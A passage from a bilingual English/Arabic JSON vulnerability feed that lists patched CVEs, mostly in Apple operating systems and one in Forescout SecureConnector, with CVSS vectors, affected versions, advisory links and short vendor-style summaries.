الحدود من خلال تحسين التحقق من المدخلات. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و tvOS 27.2 و visionOS 27.2. قد تؤدي معالجة ملف مصمم بحقد إلى تلف الكومة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112466","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:36Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved input validation.","ar":"تمت معالجة القراءة خارج الحدود من خلال تحسين التحقق من المدخلات."},"summary":{"en":"An out-of-bounds read was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة القراءة خارج الحدود من خلال تحسين التحقق من المدخلات. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و tvOS 27.2 و visionOS 27.2 و watchOS 27.2. قد تتمكن أي تطبيق من التسبب في إنهاء النظام بشكل غير متوقع أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112453","cvss":7.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:35Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A path handling issue was addressed with improved validation.","ar":"تمت معالجة مشكلة معالجة المسارات من خلال تحسين التحقق من الصحة."},"summary":{"en":"A path handling issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to break out of its sandbox.","ar":"تمت معالجة مشكلة معالجة المسارات من خلال تحسين التحقق من الصحة. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الخروج من بيئة الحماية (sandbox) الخاصة به."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112454","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:35Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"The issue was addressed with improved memory handling.","ar":"معالجة المشكلة من خلال تحسين إدارة الذاكرة."},"summary":{"en":"The issue was addressed with improved memory handling. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory.","ar":"تمت معالجة المشكلة من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في iOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وtvOS 27.2 وvisionOS 27.2 وwatchOS 27.2. قد تؤدي معالجة ملف فيديو مُصمم بشكل خبيث إلى إنهاء غير متوقع للتطبيق أو تلف ذاكرة العمليات."},"refs":[["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112456","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:35Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved input validation.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من المدخلات."},"summary":{"en":"An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Processing a maliciously crafted file may lead to heap corruption.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من المدخلات. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد تؤدي معالجة ملف مصمم بحقد إلى تلف الكومة."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112459","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:35Z","product":"Apple Ipados","affected":[[" – <27.2","27.2"],["27.0 – <27.2","27.2"],["0 – <27.2","27.2"]],"title":{"en":"A race condition was addressed with improved state handling.","ar":"تمت معالجة مشكلة سباق التنافس من خلال تحسين معالجة الحالة."},"summary":{"en":"A race condition was addressed with improved state handling. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة سباق التنافس من خلال تحسين معالجة الحالة. تم إصلاح هذه المشكلة في الإصدارات iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و tvOS 27.2 و watchOS 27.2. قد تتمكن أي تطبيق من التسبب في إنهاء النظام بشكل غير متوقع أو إتلاف ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ipados"},{"id":"CVE-2026-112430","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:32Z","product":"Apple Macos","affected":[["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"An authentication issue was addressed with improved validation of user attributes.","ar":"تم معالجة مشكلة مصادقة من خلال تحسين التحقق من سمات المستخدم."},"summary":{"en":"An authentication issue was addressed with improved validation of user attributes. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تم معالجة مشكلة مصادقة من خلال تحسين التحقق من سمات المستخدم. تمت معالجة هذه الثغرة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112417","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:31Z","product":"Apple Visionos","affected":[[" – <27.2","27.2"],["0 – <27.2","27.2"]],"title":{"en":"An integer overflow was addressed with improved input validation.","ar":"ثغرة عالية الخطورة في Apple Visionos"},"summary":{"en":"An integer overflow was addressed with improved input validation. This issue is fixed in visionOS 27.2. Processing a maliciously crafted 3D model may lead to memory corruption.","ar":"An integer overflow was addressed with improved input validation. This issue is fixed in visionOS 27.2. Processing a maliciously crafted 3D model may lead to memory corruption."},"refs":[["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"apple-visionos"},{"id":"CVE-2026-112410","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-415","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:30Z","product":"Apple Macos","affected":[["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A double free issue was addressed with improved memory management.","ar":"معالجة مشكلة تحرير الذاكرة المزدوج عبر تحسين إدارة الذاكرة."},"summary":{"en":"A double free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A remote attacker may cause an unexpected process termination.","ar":"تمت معالجة مشكلة تحرير الذاكرة المزدوج من خلال تحسين إدارة الذاكرة. تمت إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتسبب مهاجم عن بُعد في إنهاء غير متوقع للعملية."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2025-13833","cvss":7.7,"vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:01Z","product":"Forescout Technologies SecureConnector","affected":[["0 – <11.3.20","11.3.20"]],"title":{"en":"Insecure TLS Fingerprint Validation in ForeScout SecureConnector Configuration Enables Remote Code Execution","ar":"التحقق غير الآمن من بصمة TLS في إعدادات ForeScout SecureConnector يتيح تنفيذ أوامر عن بُعد"},"summary":{"en":"A vulnerability exists in SecureConnector for Windows when the “Additional Appliance Connections” setting is enabled and the agent’s configuration file contains more than three trusted‑server entries. Some entries omit TLS certificate fingerprints, which allows the agent to accept and establish sessions with a malicious server. An attacker who controls the wired or wireless network can redirect traffic to a malicious server. The attacker can then use the agent’s built‑in command/file features to execute arbitrary commands as SYSTEM, granting full administrative control and the ability to disable endpoint protections or exfiltrate data.","ar":"توجد ثغرة في SecureConnector لنظام Windows عندما يكون إعداد \"Additional Appliance Connections\" ممكّنًا ويحتوي ملف إعدادات العميل على أكثر من ثلاثة إدخالات لخوادم موثوقة. تتجاهل بعض الإدخالات بصمات شهادات TLS، مما يتيح للعميل قبول وإنشاء جلسات مع خادم خبيث. يمكن لمهاجم يتحكم في الشبكة السلكية أو اللاسلكية إعادة توجيه حركة المرور إلى خادم خبيث. ومن ثم يمكن للمهاجم استخدام ميزات الأوامر/الملفات المدمجة في العميل لتفيذ أوامر عشوائية بصلاحيات SYSTEM، مما يمنح سيطرة إدارية كاملة والقدرة على تعطيل حماية نقاط النهاية أو استخراج البيانات."},"refs":[["https://support.forescout.com","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"forescout-technologies-secureconnector"},{"id":"CVE-2026-86964","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-476","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:44:25Z","product":"Apple iOS and iPadOS","affected":[["0 – <27","27"],["0 – <26.7.2","26.7.2"]],"title":{"en":"A null pointer dereference was addressed with improved input validation.","ar":"معالجة ثغرة إلغاء مرجع المؤشر المعدوم من خلال تحسين التحقق من مدخلات البيانات."},"summary":{"en":"A null pointer dereference was addressed with improved input validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7.2, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.","ar":"تمت معالجة ثغرة إلغاء مرجع المؤشر المعدوم من خلال تحسين التحقق من مدخلات البيانات. تم إصلاح هذه المشكلة في أنظمة iOS 27 وiPadOS 27 وmacOS Golden Gate 27 وmacOS Tahoe 26.7.2 وtvOS 27 وvisionOS 27 وwatchOS 27. قد يتمكن أحد التطبيقات من التسبب في إنهاء النظام بشكل غير متوقع."},"refs":[["https://support.apple.com/en-us/149034","ref"],["https://support.apple.com/en-us/149035","ref"],["https://support.apple.com/en-us/149036","ref"],["https://support.apple.com/en-us/149037","ref"],["https://support.apple.com/en-us/149038","ref"],["https://support.apple.com/en-us/149522","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112513","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:44:10Z","product":"Apple macOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"This issue was addressed with improved validation of symlinks.","ar":"تمت معالجة هذه المشكلة من خلال تحسين التحقق من صحة الروابط الرمزية."},"summary":{"en":"This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Golden Gate 27.2. An app may be able to break out of its sandbox.","ar":"تمت معالجة هذه المشكلة من خلال تحسين التحقق من صحة الروابط الرمزية. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2. قد يتمكن تطبيق ما من كسر بيئة الحماية الخاصة به."},"refs":[["https://support.apple.com/en-us/149521","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112682","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:44:05Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An input validation issue was addressed with improved input validation.","ar":"تمت معالجة مشكلة التحقق من صحة المدخلات من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"An input validation issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Tahoe 26.7.2, visionOS 27.2, watchOS 27.2. A remote attacker may be able to cause unexpected app termination.","ar":"تمت معالجة مشكلة التحقق من صحة المدخلات من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في iOS 26.7.2 وiPadOS 26.7.2 وiOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وmacOS Tahoe 26.7.2 وvisionOS 27.2 وwatchOS 27.2. قد يتمكن مهاجم عن بُعد من التسبب في إنهاء التطبيق بشكل غير متوقع."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112505","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:43:57Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A malicious Screen Sharing peer may be able to corrupt process memory.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن نظير خبيث لمشاركة الشاشة من إتلاف ذاكرة العملية."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112437","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:43:51Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A logic issue was addressed with improved checks.","ar":"تم معالجة مشكلة منطقية من خلال فحوصات محسّنة."},"summary":{"en":"A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تم معالجة مشكلة منطقية من خلال فحوصات محسّنة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-86991","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:43:44Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"A buffer overflow was addressed with improved bounds checking.","ar":"تمت معالجة ثغرة فيضان المخزن المؤقت من خلال تحسين التحقق من الحدود."},"summary":{"en":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a maliciously crafted file may lead to unexpected process termination.","ar":"تمت معالجة ثغرة فيضان المخزن المؤقت من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2 و visionOS 27.2. قد تؤدي معالجة ملف مصمم بحقد إلى إنهاء العملية بشكل غير متوقع."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-86968","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:43:39Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"An access issue was addressed with improved access control.","ar":"معالجة مشكلة في الوصول من خلال تحسين التحكم في الوصول."},"summary":{"en":"An access issue was addressed with improved access control. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. A malicious app may be able to access restricted system interfaces or launder launch attribution.","ar":"تمت معالجة مشكلة في الوصول من خلال تحسين التحكم في الوصول. تم إصلاح هذه الثغرة في iOS 27.2 و iPadOS 27.2، و macOS Golden Gate 27.2، و visionOS 27.2. قد يتمكن تطبيق خبيث من الوصول إلى واجهات نظام مقيدة أو تبييض سمة التشغيل."},"refs":[["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112476","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:43:38Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة قراءة خارج النطاق من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination.","ar":"تمت معالجة قراءة خارج النطاق من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 وiPadOS 26.7.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112493","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:40:39Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A downgrade issue was addressed with additional version checks.","ar":"معالجة مشكلة تخفيض الإصدار عبر إجراء فحوصات إضافية للإصدارات."},"summary":{"en":"A downgrade issue was addressed with additional version checks. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة تخفيض الإصدار عبر إجراء فحوصات إضافية للإصدارات. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112492","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:39:41Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A race condition was addressed with additional validation.","ar":"تمت معالجة حالة تنافس (race condition) من خلال التحقق الإضافي من الصحة."},"summary":{"en":"A race condition was addressed with additional validation. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة حالة تنافس (race condition) من خلال التحقق الإضافي من الصحة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من اكتساب صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112517","cvss":7.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:37:38Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"A use after free issue was addressed with improved memory management.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها (use after free) من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. An app may be able to cause unexpected system termination or corrupt kernel memory.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 وiPadOS 26.7.2 وiOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2 وtvOS 27.2 وvisionOS 